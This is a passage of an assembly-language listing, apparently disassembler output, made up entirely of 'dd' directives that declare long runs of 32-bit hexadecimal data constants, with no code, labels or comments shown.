		dd 0CBB213Ah, 1177C758h, 6B7504CDh, 182FC0EDh, 30A21538h
		dd 0B7115324h, 5E109067h, 37011DACh, 8878FBCh, 9DA6100Ah
		dd 99261070h, 460475E7h, 0E13D6D8Dh, 98A4C027h,	7E037396h
		dd 33C4AC18h, 43083A7Ah, 88362060h, 0BF815502h,	3098EDD4h
		dd 0AB106316h, 0A600D7A5h, 69B0330Eh, 284580h, 0FC4EB59Ah
		dd 2D76E040h, 51629103h, 0E1E26F79h, 0EAE39CE7h, 1C25075Fh
		dd 0F7BD9D1h, 2EFBC200h, 6318E9BEh, 0B3E10189h,	8ADD402h
		dd 80D9B90Bh, 0A848619Ch, 0F107CBh, 0B9B410B3h,	0F358F57Bh
		dd 0C30CD4E4h, 30B83BEEh, 0F1F0603Dh, 3CD15EB2h, 3D9D4Ch
		dd 886863AFh, 84B0C8h, 5B0E91A6h, 572BBD8Ch, 235C30C0h
		dd 14874705h, 0EC1124D0h, 0BC6E3600h, 8D30ACDAh, 7B6BE0C1h
		dd 0B00751C8h, 241A9C98h, 2CCC4740h, 0D037F0h, 0B6C6A481h
		dd 9E7C7D7Ch, 8350121Dh, 0CEA54D00h, 0F2A0E759h, 0C0D418DAh
		dd 0EC9D58E6h, 2FFAA700h, 1A06C23Bh, 105A49C7h,	3580E43Fh
		dd 0EF029B44h, 7B00134Ah, 17CC4257h, 24C272A9h,	11202405h
		dd 80AA09D3h, 18ED801Eh, 47944h, 38240A27h, 6F332C1Ch
		dd 0AA7C3CF0h, 2129360Fh, 7835853Dh, 2F9F141Dh,	5B32803Dh
		dd 0DFF6BFE4h, 5D7C00B9h, 561AEC59h, 7200206Ch,	0FD69C868h
		dd 17BBBAAh, 0E55B6E81h, 60363866h, 5100A7FAh, 0DC687875h
		dd 403EF5h, 0CA0B730Ah,	6E869E56h, 24BC4200h, 0DE9DE607h
		dd 0AB20D444h, 2CC16A0Ah, 8A4D7820h, 85DC088Ch,	52067B7Ah
		dd 780ABF1h, 0D7C05B11h, 78714068h, 0AF002248h,	14C6F638h
		dd 741EEF7Ch, 2180EB15h, 0CAF2A2Dh, 18038D0Dh, 99DFAE58h
		dd 2CF8039Dh, 40BB050h,	0C55A1E8h, 0E4719400h, 225C9C24h
		dd 87B0695h, 718A483Bh,	4B1D641Eh, 0ABF9007Ch, 80CD9B84h
		dd 4E30C7Ah, 5BD867BCh,	3D362100h, 81CA8476h, 3A370703h
		dd 0A1D03B9Fh, 40640BCBh, 7FF252ACh, 0F5F59C0h,	60869DDCh
		dd 0A2D9F078h, 28C07413h, 9721703Dh, 68D0C065h,	4BD387Bh
		dd 9307DC71h, 9C34E46Ch, 1E216D46h, 0C0BCC01Ah,	0D7B80CA0h
		dd 0F40CB51Fh, 500F2BAAh, 63F51BD0h, 7EB26822h,	0AB9B94A3h
		dd 38BD69C8h, 3BFE9800h, 0AA736B43h, 8F3D057Ch,	5B21F7h
		dd 0A9639B5h, 803B20F8h, 8A82802Fh, 6BC17B75h, 8D0E008Fh
		dd 2301C546h, 5B0118C0h, 0F874CA63h, 17E4703Ch,	58E800BDh
		dd 0FF7C9406h, 0C70B7F23h, 721E4F7h, 2E208592h,	1BDE6956h
		dd 0A87562A5h, 826468C0h, 11595E30h, 4993969h, 74B2ABACh
		dd 0D1088978h, 0C6A2C49Bh, 2831BA1Dh, 33E46440h, 60495F53h
		dd 0E9672972h, 0A90166A5h, 8970DE05h, 41B05EEFh, 0D3B103E0h
		dd 6ABCACA8h, 28EF61C0h, 3938E2B8h, 0A68058B4h,	2CC0D270h
		dd 0D4A107C9h, 7034182Dh, 3CDC10BDh, 9F6FC89Ch,	4DBD0126h
		dd 2476EDDEh, 0EF035284h, 963B6E4Bh, 3F290559h,	0C0022E26h
		dd 0E7FACFF7h, 213EE3Dh, 6A1AE459h, 0F9DC4060h,	0F53E072Ah
		dd 0F01E51B8h, 29A52B07h, 4C35BCA2h, 85DDCA01h,	0D901415Ah
		dd 88244BBFh, 942FC160h, 0DBC9C082h, 704F0200h,	0F38930ECh
		dd 26C4112h, 3A30239Ch,	4983B0BDh, 678870CCh, 0BCC21880h
		dd 0E2A821Dh, 77FA3547h, 72B3BA82h, 9AFD4A3h, 0B5F9C0F7h
		dd 0AB1DDE0Dh, 0C3C0A427h, 6B2BE14Bh, 5B4720F1h, 7ED27519h
		dd 0F4224639h, 0DA28E300h, 0F5419617h, 77B70F00h, 0F6A7A819h
		dd 8915005Eh, 7FC74DA5h, 0C526EFF7h, 0E60E286Dh, 0C8534A02h
		dd 0ED151000h, 0C2B14FFh, 6A97583Eh, 9D0049C1h,	0B33245C7h
		dd 12858Bh, 0D29A4B10h,	0B296C8BDh, 36916D60h, 1845DD4h
		dd 0A69C2F02h, 70BDE21Ah, 0E012680h, 65F51E52h,	0A424382Dh
		dd 0EF0B039Fh, 69F76B31h
		dd 92F1E100h, 0D06F7CC6h, 0A8B7F319h, 0F9E8E1B8h, 9C11A49Dh
		dd 2E044B00h, 2EC8269Ch, 38F3BB6Fh, 0CB0158E0h,	6B793480h
		dd 0EF0C6D42h, 3C407661h, 99005C90h, 0D00507EDh, 49D3F4FDh
		dd 0B0006803h, 51F943E4h, 0B0A870E9h, 0DE010E58h, 0C4490FAEh
		dd 0EC30ECC0h, 23028CC1h, 1EF627AFh, 10471915h,	0AF2B28h
		dd 4C86E795h, 63DE17BFh, 0B4C60600h, 8FF1706Fh,	0A0786089h
		dd 0D05EAF58h, 31F1DD64h, 6F524081h, 48C2E08h, 0DC01BD37h
		dd 206E62C4h, 29BD3F25h, 98248D00h, 0EEE31ECAh,	1B32207h
		dd 513620Eh, 3CF440EDh,	6CF232h, 0AF4CF581h, 0D7B36B15h
		dd 0BEC47545h, 0B2B100E1h, 0F32CF6DEh, 5E056E62h, 6C48E319h
		dd 0C07E884Eh, 42FA10FBh, 1C980FB3h, 0C320EA0Ah, 63B78966h
		dd 3851E400h, 0C0EB0427h, 0B5F1262Dh, 43D12C8h,	825F8940h
		dd 0CC6B3914h, 84A128B6h, 0E849106Dh, 5DA826DDh, 7B2A882Ch
		dd 8C081212h, 540B8071h, 79167F3Ah, 8BBCB34Ch, 976420F1h
		dd 3B6D8A9h, 353F2834h,	0E9BB18D2h, 5F54887Eh, 0B31CA5A0h
		dd 37050D96h, 0EC41F020h, 76493B3Fh, 87786994h,	65678E00h
		dd 90537973h, 0F0415260h, 19DA1D2h, 3394F1ABh, 0EC25D12Ch
		dd 7744495Ah, 0A0410029h, 36F266B9h, 4C16018Bh,	443E921h
		dd 770D739h, 5D5C8669h,	0B0A8D0E0h, 0F7000344h,	7C6955A7h
		dd 9877E6F2h, 0C38F3D80h, 26C8B1F9h, 48280F48h,	0B987138h
		dd 0F703A67Dh, 0FF757F1Bh, 67083733h, 0A6027121h, 961FEC84h
		dd 74DD7B06h, 9968428Ah, 1867D1F0h, 0C3F33F09h,	38FF387Fh
		dd 0FDD3D803h, 0B0075536h, 2FE22950h, 58C0EE24h, 18870F1Bh
		dd 0F96CD709h, 0E005990Ah, 1ABE8B32h, 94E8C0C1h, 33416402h
		dd 0ED48936Dh, 2F59A001h, 7DDD520Fh, 12F5D1BDh,	859A39h
		dd 0A251FFE0h, 0D800A774h, 0CF53DBBFh, 7BD1C214h, 48CEF53Fh
		dd 0FFED314h, 2CF8A4B9h, 4175E685h, 84BFB60Ch, 0B7A46339h
		dd 4063C758h, 4C3698C5h, 0A0299E2Ch, 283FB960h,	9B2A030Bh
		dd 70BC9786h, 85DC1806h, 34E87F22h, 0BE4C2F5h, 0A200DEF0h
		dd 1A3048EFh, 42D060E5h, 6205640h, 6F59966h, 3D4C1049h
		dd 0C2235Ch, 0F63AAF20h, 44861436h, 284C3341h, 0E9A80047h
		dd 0C8B29548h, 0EE880AABh, 3B4C7158h, 500040A0h, 0B79E83A0h
		dd 7D7A820Dh, 150E0F10h, 68609979h, 5B92DD89h, 6E360212h
		dd 0D7F1D801h, 0E4206571h, 43F210EAh, 0E575040Dh, 46067803h
		dd 7D00B16Dh, 0DB32A91Eh, 0CF2641h, 0FD05DCEAh,	0FA8DABCh
		dd 425D2B1Fh, 0B3AB9684h, 0E7E808B1h, 66F617CEh, 0DB0C0015h
		dd 0C60B4BB6h, 9247B48h, 2580DEF9h, 0E4602F94h,	2306BD36h
		dd 6A112CDCh, 0BD3E2400h, 0A43F6D91h, 0E7013971h, 0A26405C7h
		dd 88477262h, 0DC886E05h, 0D8A60182h, 1EA5D388h, 0AEE45152h
		dd 10472B2h, 4BEA4CEDh,	4202F1E6h, 0C9A1461h, 6546001Fh
		dd 7F7CB2Eh, 0AA18FC5Eh, 5BE87673h, 2CE9EAE2h, 80245187h
		dd 2B474C71h, 0AF13F53Fh, 416B82h, 7D72F2E6h, 0E7FBB440h
		dd 0D00E5CDFh, 1AC581Ch, 8E1AEF23h, 68208061h, 382803CFh
		dd 820A783h, 0D0C02A04h, 605BAAF6h, 62DB9813h, 3B070EBEh
		dd 872E06D2h, 0C78FFE40h, 0F15E31B7h, 6F15E0h, 0E39142Dh
		dd 0D50F40E4h, 103C3B27h, 0C6164BCAh, 190769F2h, 173D7038h
		dd 3754CF40h, 20711F11h, 43CBC11Fh, 0D2C9C333h,	52A0B443h
		dd 2B003E09h, 0C05B0323h, 3171656h, 31135CC6h, 38F852DFh
		dd 32F64CDEh, 3D7FCA15h, 4E34C738h, 4D82C987h, 3A18BE3Dh
		dd 0CF1E6A29h, 0B00918D1h, 3C0BE733h, 801048E4h, 0C6144D1Ch
		dd 6F4A0029h, 968DE2Bh,	2378C212h, 56D9180Eh, 78543F1Ch
		dd 28350168h, 0CB3C7FC4h, 202839A5h, 82BCF004h,	8DC7252h
		dd 419F754h, 71407DFh, 0EFD20AC1h, 2BA86087h, 947E59C8h
		dd 0DC2D806h, 3D05188Dh, 71A2D979h, 2C6C081Dh, 0B3F5D007h
		dd 28A0813Bh, 2C408864h, 0E75EE258h, 0A6651420h, 885C680Ch
		dd 7CCEE30Ch, 0D3A93003h, 0CD4A8F5h, 7DF20B58h,	0ED772B79h
		dd 40FDC231h, 0E9923338h, 20810CDBh, 5F2A1259h,	381478EAh
		dd 2158743Dh, 0A190DFE9h, 0D47EC4EFh, 9C0EE33Bh, 9DE5823Ah
		dd 989078EEh, 43DF4F00h, 0FEFAE4B8h, 0E90F28CEh, 89F72CA5h
		dd 9FBC8FA6h, 0F5521222h, 44E45D74h, 0C07FEBCAh, 2FAFE6A8h
		dd 0AC65F616h, 443E001Fh, 1429F168h, 0D6E7F11Eh, 0BC98806Ch
		dd 6F0ADC03h, 0C87E8BDh, 0DD89710Fh, 0DE28986Ah, 0A8EA58FDh
		dd 7CE92214h, 893CE864h, 25F02FAFh, 48CAA0Bh, 82450BCh
		dd 1743E2B8h, 0E8800564h, 42848241h, 0D06C56F0h, 1128F898h
		dd 7FC75F13h, 40125C08h, 8D7DA2D8h, 34824280h, 0D9C1738Eh
		dd 7B8C028Ch, 2CD4E428h, 1368A60Fh, 987C26F2h, 0FA0A9442h
		dd 134885DFh, 0F8CC4157h, 8517E864h, 0FB73C719h, 55C18830h
		dd 0A138B86Ch, 61095264h, 6594088Ch, 7321E816h,	0C5078CAh
		dd 5CD9898Bh, 99D18080h, 511E850Ch, 0A95F8C01h,	467E93Ah
		dd 4C0B74F1h, 0C60A2B88h, 0F45B1273h, 4214423Fh, 0D98394A2h
		dd 90DC0BC2h, 47969D60h, 6C912891h, 9A80582Bh, 0C309923h
		dd 8CA09591h, 0F26BCCEh, 887D0CDCh, 0C0FAD460h,	8A6709B8h
		dd 5056A884h, 4609A380h, 0FB140C99h, 0C4248C06h, 7A11D59Ch
		dd 0B2B021EAh, 0A04F68B1h, 60B76A90h, 6BDF74B8h, 0B0531492h
		dd 867458D8h, 0AF611797h, 0FDD68850h, 19B15EF8h, 5151EC88h
		dd 0BEA84D9Ah, 65D73F81h, 0D833AD79h, 5821566Eh, 0A44CF4CAh
		dd 0F308D52Ch, 0A062D787h, 0ADC537FDh, 3F0FBCF2h, 54646D50h
		dd 104C12Ah, 0BE22F298h, 11DC0A63h, 0F2B30617h,	21804A6h
		dd 7F55333Ah, 0C483EB56h, 44E47B7Eh, 0E6046641h, 0AEA888F2h
		dd 23083CA6h, 0F2069875h, 0E03CE828h, 0E3E06824h, 8ED82A8Fh
		dd 7581803Ch, 183CADB8h, 89463151h, 8D00DC92h, 69CAC429h
		dd 10CF15h, 0E43C1A41h,	0DE324852h, 31000FE8h, 0C31EA9DFh
		dd 507B75D4h, 0EA13AD10h, 1A421EDCh, 0C04C5E38h, 1C9FE4C4h
		dd 48F0C933h, 6B663974h, 1F10C628h, 43CB31h, 1656D5C5h
		dd 19F0103Ah, 9FD43807h, 5F87CC0Ah, 57E432C0h, 3CD57813h
		dd 0D3021948h, 0A300E4Dh, 48DA05Ah, 3424C17Dh, 165EC4D5h
		dd 420AD602h, 79703FE0h, 7F4BC244h, 2D543009h, 1624EE33h
		dd 0C9584593h, 420300Ch, 8845865Fh, 0B0905F17h,	4CBAFDD0h
		dd 2D07F448h, 61C0AB64h, 60A437A2h, 5A00DE1Ch, 6BF0A88Dh
		dd 4266F3h, 4150D858h, 0DE07C8E4h, 607C5700h, 0F2B19556h
		dd 200E5883h, 0DBC92601h, 709CD115h, 744B1390h,	14D9409Ch
		dd 40A5D7BFh, 33685606h, 0C71BD9F0h, 0C308127Dh, 0A8F91F10h
		dd 0F0AF4228h, 3D18B2A2h, 0E9C20433h, 6C5BF8C0h, 58718FAh
		dd 0AEA107Fh, 8FF825h, 57C05B5Ch, 680962B8h, 0F203363Fh
		dd 40F8309Ah, 0E58FFB81h, 28220D4Ah, 0AB650186h, 0D49330EDh
		dd 0A0252378h, 4E5C255Ah, 73108C28h, 8CB04731h,	14A88035h
		dd 88804083h, 18E84925h, 9A05E820h, 0BC77F76Ah,	0ECE494C8h
		dd 26250096h, 3710669Ch, 94EB6FE8h, 32485F89h, 4E834858h
		dd 641B482Ch, 598B33AFh, 7506F951h, 76A5F0h, 7E997BBBh
		dd 2C119034h, 0DF3C1700h, 0CBD5189Fh, 0C41A1E50h, 620916CDh
		dd 50C05E78h, 165842DFh, 48007C54h, 4F2D281Fh, 253CB30h
		dd 8B6A7113h, 44987F72h, 7B020320h, 4CE36381h, 0BF04B0F0h
		dd 535E7CC2h, 8400C62h
		dd 5CC90834h, 5A946C10h, 3217C530h, 0E2650823h,	0C8C31A7Ch
		dd 0A06F1029h, 9B036FD1h, 0D0EB112Bh, 0C808C194h, 3C64919Fh
		dd 843056A7h, 30E6E77h,	25A21094h, 5311E926h, 84610B5h
		dd 101417Ch, 2239B70h, 0F09C6D6Bh, 13529B6Ch, 1118150Ch
		dd 650908Ch, 33492C17h,	64A4A428h, 487D097Eh, 2273917Ch
		dd 7012FB72h, 76487724h, 74227591h, 898A8B44h, 91F81789h
		dd 446E226Fh, 53F86C6Dh, 3283939h, 721C512h, 64C13F1Fh
		dd 2D66B8E5h, 497E684h,	8528459h, 8BC8263h, 0DB54417Ah
		dd 48286EF0h, 0EF3BAC6Fh, 90F46407h, 7F73C04Dh,	0D61F7A15h
		dd 0EE1DEB7Eh, 0E61EF31Fh, 4033FB1Dh, 436EE2E3h, 4F4020CDh
		dd 6D90F900h, 6F7EC45Bh, 6B134AD4h, 443FF48h, 75C9AAFFh
		dd 0E0AF8859h, 112F3400h, 143327C2h, 0AB385AE8h, 3FECC15Bh
		dd 48002E2Bh, 3A4CE314h, 1609C815h, 48518A0h, 0E67057FDh
		dd 0E9640348h, 6D4D6642h, 6FF315A0h, 0A66021C2h, 60389570h
		dd 15A8B81Ch, 0E8BCB107h, 0E3C36CC0h, 90183B5Fh, 7459EC80h
		dd 0FB63E264h, 0E41C43F9h, 73DC40E0h, 7B2DB10Ah, 56452875h
		dd 38E470EAh, 2563333Ch, 1E66B341h, 40D5BA31h, 839F9A42h
		dd 9228D92Eh, 14003497h, 0F4172B22h, 0C6C0337h,	0E10AFE4h
		dd 7B60D0C0h, 43D89C9h,	0C7D400B4h, 0BF226763h,	973043ECh
		dd 699D496Eh, 4AF800D9h, 2DF98077h, 6200AA0Eh, 0F6F38EBBh
		dd 637E115h, 6EC82CB5h,	0FF005840h, 0A0D31885h,	5E62242h
		dd 491664C9h, 79A04063h, 21287C65h, 7EF92701h, 5C57202Fh
		dd 94ABD0h, 5901AED1h, 6A6514Fh, 7262A00h, 0EE05B6DBh
		dd 6ECFAB2h, 0F8681263h, 5197C942h, 0BD070094h,	815FB34Ah
		dd 0E955F107h, 0EDE033F2h, 0D92379h, 2CBCB0DBh,	86FF7D24h
		dd 412B8300h, 0C748E475h, 0C4B12501h, 4340787Eh, 0FF4192Fh
		dd 0D6A68C20h, 6F2E1918h, 54E15600h, 8B7C9F09h,	80F76052h
		dd 0AC1E77Eh, 0C4729701h, 8A492B01h, 8D39F980h,	0A0C7ABB8h
		dd 4452DC00h, 85B68F69h, 0EE6500F5h, 109011A1h,	0BD0EEF5Fh
		dd 40F33D5Ch, 2A0519D2h, 67BC00F1h, 7554F525h, 0FC03BE82h
		dd 0F3685B94h, 0C8996445h, 0D310906Fh, 0B3309CF4h, 2A8F112Bh
		dd 0FABE044h, 7183F899h, 5E145C20h, 7218CE79h, 0C9A96E49h
		dd 0C64800A5h, 0F15B947h, 7603E022h, 5E16C4DBh,	0F797F29Eh
		dd 0AB7CD820h, 0DD000C4Dh, 0B177DEA9h, 755BFA8Ah, 0D46B00DBh
		dd 65ED0EAh, 0C6004921h, 2B584265h, 73E81AB0h, 1CF4007Ah
		dd 2E698E0Eh, 700FF71Eh, 0FC667C43h, 0EB967681h, 27F0AC7Eh
		dd 98613C69h, 0E3947A61h, 0E5B02E93h, 96730579h, 28687CFAh
		dd 63F06D14h, 6030ED60h, 0F86702E9h, 8171E6E7h,	0F8E0C776h
		dd 9B006F66h, 0DC1EB9F5h, 0C06C7FEBh, 9A724344h, 18DDB8FBh
		dd 686F033Dh, 0B36305EAh, 0CE80A6D2h, 848077B8h, 85648A7Ah
		dd 6662681Eh, 0E0637830h, 7731C36Ah, 590A6461h,	0C03EE66h
		dd 84209065h, 2F59F73h,	0FB678B66h, 88806202h, 0E7607577h
		dd 90299367h, 82E52E50h, 18F578A4h, 18F992A3h, 961F341Eh
		dd 0E4CBEE8h, 0FACA3189h, 0BA2B0F2Ah, 0ADE0B410h, 6613797h
		dd 0A3DBA200h, 779648FEh, 0C8D5003Ah, 76A98D3Fh, 0A73E4E25h
		dd 1ED900F5h, 9DFB8C06h, 0A22A0CB0h, 0B471D191h, 0A5A9A024h
		dd 77C99518h, 0CDF7409h, 0F0B80407h, 30F6D728h,	7B0F9304h
		dd 69068725h, 1051A1B3h, 9E23D618h, 91A3D8B0h, 6934A0F5h
		dd 4B31CF8Bh, 7619F37Fh, 167A591Eh, 13E42022h, 541C813Ch
		dd 7F81B340h, 52F0298Eh, 8C95FC83h, 57815908h, 0F8F60DF1h
		dd 514CF561h, 803869BCh, 0A212551h, 2A104E67h, 2B4361Fh
		dd 0E074D50Bh, 0D0848D3Ah, 18FC62EAh, 68C0540h,	5026A8C7h
		dd 68303083h, 39876995h, 0BEBB8B99h, 0EA9EF80h,	0CC89064h
		dd 0FD0D4F41h, 1DDC43D7h, 7E53F106h, 18315846h,	18F242E8h
		dd 4CA03213h, 58A2D48Bh, 9E948402h, 0AA90CB20h,	10BB1102h
		dd 8E3003F6h, 7B1CF53Ch, 72583130h, 42BDF018h, 58A8074Ch
		dd 912B98E8h, 52247657h, 782928B0h, 21A44B14h, 88F208EBh
		dd 74C64956h, 0DA21B8B6h, 211D6419h, 0C80A71BCh, 9ABE6214h
		dd 503C8D30h, 85D4282Bh, 0EC218473h, 1EC40F70h,	841A2888h
		dd 0E287047Ch, 42144026h, 505C23BCh, 10858ABEh,	0D47488AEh
		dd 44ABEE21h, 0B58C22B9h, 43D208A0h, 0A408D651h, 0A1A27046h
		dd 99866930h, 426C245Ch, 1029FA92h, 0C96E7A8Ch,	31864B31h
		dd 780D21F1h, 61BEFE57h, 228440A8h, 2E50F691h, 9A198234h
		dd 1190C5A6h, 14802512h, 0D813CFB5h, 8E16B1C8h,	0D043E2Bh
		dd 0C6DCC44Eh, 4291013h, 58A138BDh, 322B390h, 0E188B931h
		dd 3C581081h, 404964F8h, 7BD847FEh, 0A02721B5h,	64CC0394h
		dd 30489975h, 8C347D49h, 59F4CB0Ch, 7B62801h, 87DD5DD4h
		dd 5FAC67C9h, 0F7EA5F00h, 710003C7h, 0E946DB9Dh, 0B068E696h
		dd 48FA0ED0h, 6C80B01Eh, 56F66B7Dh, 0FF61711Ch,	3105E42Ch
		dd 0C880C393h, 74846279h, 9A6001F5h, 0F7DD6CEBh, 0BDE1D3CFh
		dd 65C460D1h, 0F8EC40DCh, 0BA89023Eh, 936F6DE6h, 65D1E740h
		dd 0B2E066EAh, 1E447C70h, 2977F663h, 0EC98B130h, 4C96FD02h
		dd 0D110BF1Ch, 93007205h, 77E69CD3h, 0ED53606Ch, 0F7AC4460h
		dd 3E104ADh, 7083966Ch,	453AA463h, 64E26AA2h, 616F1830h
		dd 8068F638h, 0A2BDF964h, 5710FBDDh, 0D4582C63h, 0E6927101h
		dd 0F0A1A376h, 0DD14DA6Ch, 0CF3802DCh, 26859C93h, 9CC1D76Fh
		dd 0DDF57D69h, 401C145Dh, 7EDC7BF7h, 7FCF3AA8h,	2A744DDCh
		dd 5F89CDAh, 0A07BFB9Dh, 0D1942AABh, 57E0EB04h,	0E40180C5h
		dd 0C781E94Ch, 35F0C262h, 60DA1D76h, 96933CFAh,	933402EDh
		dd 6B79F4h, 28C663A3h, 0FBDA1E09h, 7A98276Fh, 0B73F6851h
		dd 0E0FA9BECh, 48966F60h, 0B1932818h, 33F1DDF2h, 6F6C5020h
		dd 0EA617209h, 84EC077Dh, 0C4743089h, 91C868B9h, 5F042160h
		dd 90CBA0F8h, 0E79D1730h, 0E0D20577h, 0B3909267h, 2749404Ch
		dd 0E113B58h, 7DFE9A6Ch, 6010DD02h, 76D0608Ah, 0A37871h
		dd 0F59C7D05h, 0FB6663B3h, 6BBE6C00h, 0D76268E9h, 61023AF9h
		dd 8C48E83Ch, 7DA50E77h, 4B1EED9Bh, 7003FB9Ah, 47EF8492h
		dd 6EB382D8h, 7504A040h, 62F06B7Ch, 70609F62h, 0D7D0499Ah
		dd 968980F3h, 0C1747910h, 6065B340h, 0BC7DD186h, 1D773CC8h
		dd 303105EAh, 86F1BE02h, 7CA170E3h, 79E00463h, 0BFFA986Fh
		dd 982498C4h, 52AB043Eh, 0E09C83F8h, 0ECD7CA6Ch, 65A805D4h
		dd 98BE67F9h, 82F04560h, 717ED101h, 6C7CFBD7h, 1849B827h
		dd 9B667DC2h, 3175F041h, 6B6FD41Ch, 0E89003E8h,	7CB3E60Fh
		dd 8769896Ah, 0FEB8505h, 6C1E1C7Ch, 7D79E801h, 4028269Eh
		dd 0FCAE0491h, 6CDB16A0h, 0D1C44273h, 0B4C2EF9Dh, 0E4B0DC89h
		dd 0C9BEBD7h, 0B0079116h, 24B6761h, 43F496DCh, 0F828A6D8h
		dd 0C4F65864h, 0D71C0692h, 0FB2C09D1h, 0E4ABC402h, 645065BEh
		dd 0DF9C090h, 20625C01h, 666F7109h, 69BB108Eh, 67C160E3h
		dd 7284D18Ah, 63021420h, 3C82B42Ch, 0D840E211h,	346C4CC0h
		dd 2058D879h, 0EE176073h, 6C066103h, 5380A879h,	50481856h
		dd 38304D76h, 41EF9AFh,	0DC9380AFh, 0B6BCDA45h,	60034F84h
		dd 38F4F56Fh, 18765335h, 6003D8A1h, 4C7385C8h, 77E69614h
		dd 8000EF68h, 667656F5h, 0D8B06785h, 6463E72Eh,	968A0EB8h
		dd 5B18F5EFh, 5043F834h
		dd 0BFC0B6BEh, 79FABA41h, 177B2074h, 1DEC9A76h,	0C4F81338h
		dd 93BCAC44h, 0D43C3C89h, 4B9DDCh, 6005D66Bh, 20FFA9Ah
		dd 5F59E68h, 8CC08562h,	5CEA9275h, 310E907Fh, 0BE9CD563h
		dd 67506041h, 21E99F30h, 1D627BF5h, 966D261h, 50E9E79Ah
		dd 80C82D6Ch, 0F667CF93h, 0B0C31705h, 92E00ACDh, 34D23880h
		dd 0EC96D3ECh, 50DD6217h, 3AD46880h, 51F6AACFh,	24853F0Eh
		dd 0F08E0055h, 78AC846h, 963A57FCh, 800140E9h, 3B1D03F2h
		dd 0B01EB8Fh, 555EF85h,	0FA2104D0h, 46F90780h, 0C0F68A1Bh
		dd 3BEB9401h, 0E8810800h, 0C457055Fh, 0E07433h,	803A51C8h
		dd 8F3603F6h, 0E821EF60h, 3A85346Bh, 8E0140E7h,	0FBC85DF5h
		dd 8B9083ECh, 2365AF6h,	871EE360h, 38985DEBh, 0A73AE803h
		dd 85E41FCFh, 573A5C00h, 60015BFAh, 0FF042083h,	93A51F8h
		dd 3F5A0294h, 43502481h, 3A40A042h, 46FA3A8Eh, 57D67700h
		dd 30F88509h, 5AF80474h, 23280B61h, 27D0AE1Fh, 3F5F839h
		dd 0ECF8C851h, 20003C5Ah, 0F6843047h, 3FB0B42h,	573E5CEFh
		dd 0E80E5BF9h, 0EE0151E9h, 0B6A885EBh, 80EAC40Ah, 29008C21h
		dd 5DE7B4CFh, 1F8F03Eh,	0F28E0503h, 0B1A7C847h,	50F988D8h
		dd 342DC47h, 0D8D088EAh, 7F03C3Ah, 40F583E9h, 0C3284D0h
		dd 4280A01Fh, 308A053Bh, 0A94DCFAh, 98F034B0h, 3F4560C8h
		dd 5D0B767h, 0FE5006CFh, 0C85E1928h, 2FBE989h, 0E358903Bh
		dd 5773EAFh, 876AB98h, 30C1A4FAh, 0C30FE3Ah, 0EF1C20h
		dd 0F496C850h, 0E98E3C53h, 29F44253h, 39097894h, 343804FAh
		dd 0C8072084h, 15C1E457h, 35D8F68Eh, 1CE8CD96h,	81F001C0h
		dd 2F4454EBh, 80DFEB04h, 175C1A48h, 0A5001511h,	0D9068BEEh
		dd 0C5A0AB8h, 0E06C9AA8h, 34E20C31h, 3C7AE301h,	0E463094Bh
		dd 21F70898h, 34001427h, 2E237475h, 21A391h, 0F618CFDBh
		dd 0C1AE8669h, 0E63A5E00h, 610FFAAFh, 2517306Dh, 0AF97778h
		dd 38A41F30h, 0D808B370h, 0D22290A0h, 4D7F80h, 0A52AB46Ch
		dd 17485970h, 0C243F40Ch, 5EC20CFh, 30D5583Bh, 7D203877h
		dd 38918FBh, 34F7B487h,	4DB0AAEAh, 230CA38Eh, 0B8FF2FE3h
		dd 0C976108Ch, 3022014Ch, 6B49AE91h, 332A1083h,	284C0B2Fh
		dd 48A12BCEh, 38656410h, 8A3089BCh, 64B5C288h, 701266D1h
		dd 0A3E2D4A0h, 0BF017E4Ch, 9C9BED0Ah, 47E4FADCh, 0EA0A105h
		dd 0C6ECA0CEh, 529AE1h,	1B18A8F3h, 30D04148h, 93FCB400h
		dd 6F4544ECh, 789B008Bh, 9A67F768h, 23505F9Eh, 1C444FC8h
		dd 0E0FA62F8h, 50200C67h, 0C6D9A7DBh, 71043838h, 888E9002h
		dd 0E0E63FC1h, 0AC4BE16Bh, 0ABD9401Ch, 3CA849h,	9E33D35Ch
		dd 50269F1h, 159F13B0h,	410197Bh, 0A668807Eh, 0A47CA9EAh
		dd 0FC10D8E5h, 94A0A026h, 70A2946h, 0C42B7739h,	0B1A946F4h
		dd 59187D25h, 0AC7B9491h, 0EA657060h, 0F3BD500Eh, 78801D4Fh
		dd 9544ED62h, 0FCD4A00Bh, 892D2476h, 0F043549Ch, 6A115442h
		dd 5CFC837Eh, 9721006Fh, 0C03D3BCh, 9314C3Eh, 0F7DF4096h
		dd 0B801EC49h, 0C34F34Dh, 0C9911989h, 0C2959809h, 0D01A9482h
		dd 406E3422h, 885089F0h, 3C301FFBh, 98AB301Ah, 2078C168h
		dd 4508C7EBh, 0DC1C04D4h, 8AD778C6h, 0B323201Ch, 770107C2h
		dd 90AB14DBh, 4991CF24h, 84214D07h, 0B426E028h,	21D36008h
		dd 0FE4999E5h, 8F360600h, 7C610B15h, 5B8120ABh,	0A4B3AF00h
		dd 2A8A2D5Fh, 0A8DB0792h, 3F154B66h, 22FACDA0h,	0B90AB501h
		dd 887643EEh, 31687980h, 5D3731Bh, 71664AAAh, 1A8C0056h
		dd 0A6EB4FF6h, 0AFF9738h, 0B0169B6Ch, 4C948F01h, 7ED4DEF1h
		dd 30616725h, 0F1CF36AEh, 14E3EF05h, 0D040090Fh, 936A4F25h
		dd 0C45F038Fh, 0CB27846Bh, 210021A3h, 0E36A36C8h, 0BDAE18h
		dd 0E2963A7Ch, 0B29515F3h, 0F7308BEAh, 636DB1F1h, 1000B221h
		dd 0C9A2BBh, 48D98EDh, 0A8748733h, 0DC5788h, 0D0EE11A0h
		dd 0C8F6AB07h, 215C08CCh, 0A0D700B6h, 30ACE267h, 1806E599h
		dd 28F5DE37h, 0E66D2499h, 57A28084h, 8094957Eh,	0FB416460h
		dd 7E0736B5h, 0F343034Eh, 0EDA0B142h, 22BCAC88h, 4B03CFFCh
		dd 668F9E0Eh, 94069559h, 3416E87h, 21712A7Eh, 8AB22450h
		dd 41DDA8A2h, 8B291000h, 0E0CA60AAh, 0D7690735h, 925FE724h
		dd 0F9DB0E0Ch, 88AF5575h, 0A497BC4h, 2A18EB5Ch,	601A44C4h
		dd 109D6A49h, 0C8CB4F8Fh, 30C6801Eh, 5B708D6Ah,	0A51D1671h
		dd 54C1CB4Dh, 2C1F5D7Ah, 0DE10BC62h, 0B96301A8h, 0A28D4A1Ch
		dd 0C215848h, 19C3E322h, 1B09ED88h, 8440E73Fh, 0E609840h
